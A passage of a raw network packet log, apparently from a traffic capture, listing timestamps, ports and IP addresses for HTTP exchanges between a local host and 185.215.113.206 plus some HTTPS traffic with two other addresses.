Nov 24, 2024 19:11:53.245631933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.245681047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.245815039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.246005058 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.246761084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.246810913 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.246897936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.246983051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.247488022 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.247539043 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.247561932 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.247644901 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.248425007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.248486996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.248548031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.249350071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.249397993 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.249427080 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.249509096 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.250289917 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.250403881 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.250432014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.250487089 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.251218081 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.251267910 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.251358032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.251405954 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.252139091 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.252185106 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.252242088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.252290964 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.253094912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.253187895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.254059076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.254225016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.254991055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.255110025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.256119967 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.256202936 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.257034063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.257100105 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.257388115 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.257997036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.258052111 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.258088112 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.258507013 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.258795023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.258846045 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.265109062 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.265129089 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.265175104 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.265183926 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.265218019 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.265234947 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.301692009 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.301711082 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.301791906 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.301821947 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.302004099 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.325030088 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.325092077 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.325104952 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.325120926 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.325155973 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.325229883 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.364397049 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.364475965 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.364483118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.364512920 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.364870071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.364989042 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.365080118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.365772009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.365853071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.365863085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.365900993 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.366460085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.366509914 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.366566896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.366626024 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.367641926 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.367700100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.367703915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.367758036 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.368352890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.368426085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.368428946 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.368463039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.369307041 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.369363070 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.369385004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.369426966 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.370243073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.370300055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.370348930 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.370395899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.371182919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.371253967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.371278048 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.371443987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.372082949 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.372138023 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.372189999 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.372258902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.373039961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.373122931 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.373132944 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.373305082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.373984098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.374150038 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.374214888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.374910116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.375035048 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.375091076 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.375895023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.375969887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.376003027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.376043081 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.376794100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.376888990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.376945972 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.377764940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.377815008 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.377834082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.377870083 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.378901005 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.378972054 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.378973007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.379014015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.379759073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.379820108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.379834890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.380208969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.380534887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.380594969 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.380645037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.381495953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.381604910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.381664991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.382426977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.382509947 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.382519960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.382575989 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.383353949 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.383435011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.383454084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.383574009 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.384320974 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.384371996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.384394884 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.384603024 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.385226011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.385314941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.385370016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.386188030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.386233091 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.386291981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.386369944 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.386785030 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.386809111 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.386857986 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.386876106 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.386892080 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.386930943 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.387101889 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.387156010 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.387208939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.387254953 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.388148069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.388197899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.388214111 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.388303041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.388998032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.389048100 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.389148951 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.389199018 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.390245914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.390327930 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.390351057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.390392065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.391205072 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.391261101 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.391324997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.391422987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.392103910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.392173052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.392182112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.392268896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.393075943 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.393124104 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.393203020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.393251896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.393464088 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.393485069 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.393542051 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.393558979 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.393645048 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.393978119 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.394032001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.394109011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.394156933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.400032043 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.400048018 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.400111914 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.400127888 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.400211096 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.406730890 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.406748056 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.406804085 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.406816006 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.406869888 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.413569927 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.413587093 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.413670063 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.413681030 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.413778067 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.419404984 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.419426918 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.419512987 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.419523001 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.419572115 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.426522970 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.426539898 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.426609993 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.426620007 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.426657915 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.426676035 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.427906036 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.427975893 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.428014994 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.428034067 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.428055048 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.428401947 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.429028034 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.429100037 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.429510117 CET	443	49805	52.159.108.190	192.168.2.8
Nov 24, 2024 19:11:53.429588079 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.429605961 CET	49805	443	192.168.2.8	52.159.108.190
Nov 24, 2024 19:11:53.431746960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.431827068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.431902885 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.432318926 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.432368994 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.432374001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.432419062 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.432477951 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.432502985 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.432570934 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.432579994 CET	443	49791	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:53.432626009 CET	49791	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:53.433157921 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.433227062 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.433291912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.434176922 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.434248924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.434253931 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.434287071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.435270071 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.435290098 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.435354948 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.435965061 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.436022997 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.436103106 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.436197042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.436913013 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.436961889 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.437035084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.437160969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.437838078 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.437973022 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.438019991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.438786030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.438848972 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.438952923 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.439107895 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.439799070 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.439852953 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.489412069 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.489495039 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.489578009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.489664078 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.489931107 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.489984035 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.490020037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.490041971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.490835905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.490889072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.490915060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.490957975 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.491774082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.491826057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.491868019 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.491919994 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.492724895 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.492774010 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.492837906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.492885113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.493664026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.493762970 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.493769884 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.493870974 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.494601965 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.494651079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.494698048 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.494751930 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.495556116 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.495611906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.495661974 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.495708942 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.496474028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.496529102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.496575117 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.496630907 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.497529030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.497587919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.497611046 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.497740030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.498349905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.498455048 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.498506069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.499294043 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.499342918 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.499417067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.499464035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.500252962 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.500324965 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.500346899 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.500421047 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.501154900 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.501205921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.501264095 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.501315117 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.502173901 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.502223969 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.556353092 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.556404114 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.556485891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.556535959 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:53.556864023 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:53.556920052 CET	49750	80	192.168.2.8	185.215.113.206
